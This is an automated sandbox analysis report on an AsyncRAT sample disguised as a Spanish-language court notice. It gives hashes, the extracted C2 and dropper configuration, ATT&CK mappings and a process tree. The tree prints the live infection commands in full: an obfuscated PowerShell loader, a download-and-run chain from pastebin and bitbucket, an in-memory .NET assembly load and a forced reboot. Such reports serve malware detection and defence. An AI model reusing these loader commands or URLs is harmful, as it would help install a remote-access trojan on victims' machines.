asyncrat | 272e59a8e2a586fcefe28bdab59c1e557a935017c186804f5fd46f9079058fff

Reason

Machine shutdown

General

Target

00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL/012-EN.vbs
Size

30.4MB
MD5

2063532fceeb572f8611f222dffd01ed
SHA1

f0d1938c04c06c9fa2f9f64408159f8a18404e0a
SHA256

980a6398745d8c656a7270b782d779c7328ceffa91e8bafb2020d0983ee1c1aa
SHA512

5bd582557408bd505e6c586690b12cd3a7463372c6f4aa1801c76d75dee7ad1c31a2515f3f508d875c806fc7d7f1a1e7be3e4f451029ff548346bfae0e2a3a97
SSDEEP

384:SHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPA:eECOzjL1

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/rE7gKnsP

exe.dropper

https://pastebin.com/raw/rE7gKnsP

Extracted

Family

asyncrat

Version

| CRACKED BY https://t.me/xworm_v2

Botnet

Default

C2

perroshp.duckdns.org:3030

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	Process
8	4524	powershell.exe
10	4524	powershell.exe
19	4028	powershell.exe
23	4028	powershell.exe
26	4028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid	Process
1840	powershell.exe
4524	powershell.exe
4028	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

Processes:

flow	ioc
7	pastebin.com
8	pastebin.com
22	bitbucket.org
23	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4028 set thread context of 1448	4028	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

MSBuild.execmd.exeshutdown.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "59"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	Process
1840	powershell.exe
1840	powershell.exe
4524	powershell.exe
4524	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exeMSBuild.exeshutdown.exe

description	pid	Process
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	1448	MSBuild.exe
Token: SeShutdownPrivilege	3440	shutdown.exe
Token: SeRemoteShutdownPrivilege	3440	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

LogonUI.exe

pid	Process
3528	LogonUI.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

WScript.exepowershell.exepowershell.exepowershell.exeMSBuild.execmd.exe

description	pid	Process	procid_target
PID 2344 wrote to memory of 1840	2344	WScript.exe	83
PID 2344 wrote to memory of 1840	2344	WScript.exe	83
PID 1840 wrote to memory of 4524	1840	powershell.exe	85
PID 1840 wrote to memory of 4524	1840	powershell.exe	85
PID 4524 wrote to memory of 4028	4524	powershell.exe	86
PID 4524 wrote to memory of 4028	4524	powershell.exe	86
PID 4028 wrote to memory of 4356	4028	powershell.exe	95
PID 4028 wrote to memory of 4356	4028	powershell.exe	95
PID 4028 wrote to memory of 4356	4028	powershell.exe	95
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 4028 wrote to memory of 1448	4028	powershell.exe	96
PID 1448 wrote to memory of 3532	1448	MSBuild.exe	106
PID 1448 wrote to memory of 3532	1448	MSBuild.exe	106
PID 1448 wrote to memory of 3532	1448	MSBuild.exe	106
PID 3532 wrote to memory of 3440	3532	cmd.exe	108
PID 3532 wrote to memory of 3440	3532	cmd.exe	108
PID 3532 wrote to memory of 3440	3532	cmd.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★cgBF★Dc★ZwBL★G4★cwBQ★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★Cc★Jw★s★Cc★JwBB★Cc★Jw★p★C★★KQ★g★Ds★Jw★g★Ds★J★BN★E8★R★BS★Gc★I★★r★D0★I★★n★Fs★UwB5★HM★d★Bl★G0★LgBB★H★★c★BE★G8★bQBh★Gk★bgBd★Do★Jw★g★Cs★I★★n★Do★QwB1★HI★cgBl★G4★d★BE★G8★bQBh★Gk★bg★u★Ew★bwBh★GQ★K★★g★CQ★RgB5★GY★Z★B6★C★★KQ★u★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBH★GU★d★BU★Hk★c★Bl★Cg★I★★n★Cc★V★Bl★Gg★dQBs★GM★a★Bl★HM★W★B4★Fg★e★B4★C4★QwBs★GE★cwBz★DE★Jw★n★C★★KQ★u★Ec★ZQB0★E0★Jw★g★Ds★J★BN★E8★R★BS★Gc★I★★r★D0★I★★n★GU★d★Bo★G8★Z★★o★C★★Jw★n★E0★cwBx★EI★SQBi★Fk★Jw★n★C★★KQ★u★Ek★bgB2★G8★awBl★Cg★I★★k★G4★dQBs★Gw★I★★s★C★★WwBv★GI★agBl★GM★d★Bb★F0★XQ★g★Cg★I★★n★Cc★d★B4★HQ★LgBz★GE★YQBv★Gk★dgBu★GU★LwBz★GQ★YQBv★Gw★bgB3★G8★Z★★v★DI★MQBl★H★★ZQBy★GQ★YQBv★Gw★bgB3★G8★Z★★v★GU★c★Bl★HI★Z★Bh★G8★b★Bu★Hc★bwBk★C8★ZwBy★G8★LgB0★GU★awBj★HU★YgB0★Gk★Yg★v★C8★OgBz★H★★d★B0★Gg★Jw★n★C★★L★★g★Cc★Jw★l★Eo★awBR★GE★cwBE★GY★ZwBy★FQ★Zw★l★Cc★Jw★g★Cw★I★★n★Cc★XwBf★F8★XwBf★F8★YQBz★GE★ZwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/rE7gKnsP' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''txt.saaoivne/sdaolnwod/21eperdaolnwod/eperdaolnwod/gro.tekcubtib//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\00254-ENVIO COPIA DE LA NOTIFICACION ELECTRONICA DEMANDA JUZGADO PENAL CIRCUITO RAMA JUDICIAL\012-EN.vbs'' , ''______asag______________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        
        PID:4356
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1448
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Shutdown /r /f /t 00
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3532
        
        C:\Windows\SysWOW64\shutdown.exe
        
        Shutdown /r /f /t 00
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3440

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa393e055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
6bf07852cb3bab59e6cc2dcab43ab011

SHA1
310635401d2c6a1bd7f77df365eb6371012aee2c

SHA256
5d968265d8f24ff9f80784bc6f3b5af2437781bce2b3d850db4a2bb49d0b5ad7

SHA512
8dc9aec471dbd68818ed6fec05efc6570dbddbed22946765d45d4bd5482814e306674df3f3ca0845828fcc0d604d685fcec0f3f7ad9e982b30aaaa39d26134a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6c25e98074e3843e30eeda41a1357b92

SHA1
88aacfbe76ce89e2024d652a9ac37ad68518e3fe

SHA256
17fa8418f7132c304749f477f7b514c3d6358a7d63b5c3f8529055862dfcd67f

SHA512
03f82a7f8834e2a914a3486291d9b3cc97642ad8de55035bfc3a172dfe6ea1de2de2a14c974adf1ed32324f7414088f647ce683f0278881c2339d4551efb0e4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1fg1swd.05o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
156B

MD5
ebabef29fc49a8a7a03e3ac91efd1657

SHA1
4fa60f9195d2cf5933fed73cc8877dd6d4c63de1

SHA256
bb35acaa5037ecb77192c480b4634559940d57d5064fd4176c1c68dc6ae11b71

SHA512
283cf9dc37be3399bb4a21428cf00e996e7c7a2f7251b053d59e536cd35539cf7dc91c96cf110494642ddd26ec806db56d524a5826a12bab38d738cbcec2f41d

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll02.txt

Filesize
39KB

MD5
049e0f5996fc5b5152c00bf2f4673ad7

SHA1
0743b85197de62d99e869d05e05b4e56a9d4c44b

SHA256
1163cf01ebe91124ac0393c2b2731fab3df03cdb9624507761d89a7d186aea98

SHA512
fd2f394cc624a05a52db022f1eef33e8afbc0686631dbc0c890bea58504ae5f4bb0f2d482c57331420bcdde536433c61e96b9d8f50f8c3c3d580a786e4109576

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
1KB

MD5
6cbdd377387430c01a30f811c9db7bf2

SHA1
81d8b2aad0050a5a373ac9bdfaa4766be960af3a

SHA256
ca39f66a183c13c8202648eb7b63e216839705736d387dd777f02e49480ce907

SHA512
459ce4231b8f2618ae7eb1d1056e846fbdfd34903507c6eabfd0bb730530b0d243d799e743e2261aa65b8dac97602b739df31a40ad9522824611e96a5e4565a6

Download Submit
memory/1448-40-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1448-52-0x0000000006000000-0x00000000065A4000-memory.dmp

Filesize
5.6MB

Download
memory/1448-58-0x0000000007360000-0x0000000007384000-memory.dmp

Filesize
144KB

Download
memory/1448-57-0x00000000071C0000-0x0000000007252000-memory.dmp

Filesize
584KB

Download
memory/1448-56-0x0000000006CA0000-0x0000000006CBE000-memory.dmp

Filesize
120KB

Download
memory/1448-55-0x0000000005A80000-0x0000000005A94000-memory.dmp

Filesize
80KB

Download
memory/1448-54-0x00000000069B0000-0x0000000006A26000-memory.dmp

Filesize
472KB

Download
memory/1448-53-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/1448-51-0x00000000059B0000-0x0000000005A4C000-memory.dmp

Filesize
624KB

Download
memory/1840-12-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/1840-48-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/1840-1-0x000001A0BB000000-0x000001A0BB022000-memory.dmp

Filesize
136KB

Download
memory/1840-11-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/1840-0-0x00007FFCC2293000-0x00007FFCC2295000-memory.dmp

Filesize
8KB

Download
memory/4028-37-0x0000022C3FE10000-0x0000022C3FE1A000-memory.dmp

Filesize
40KB

Download
memory/4028-39-0x0000022C5A720000-0x0000022C5A736000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads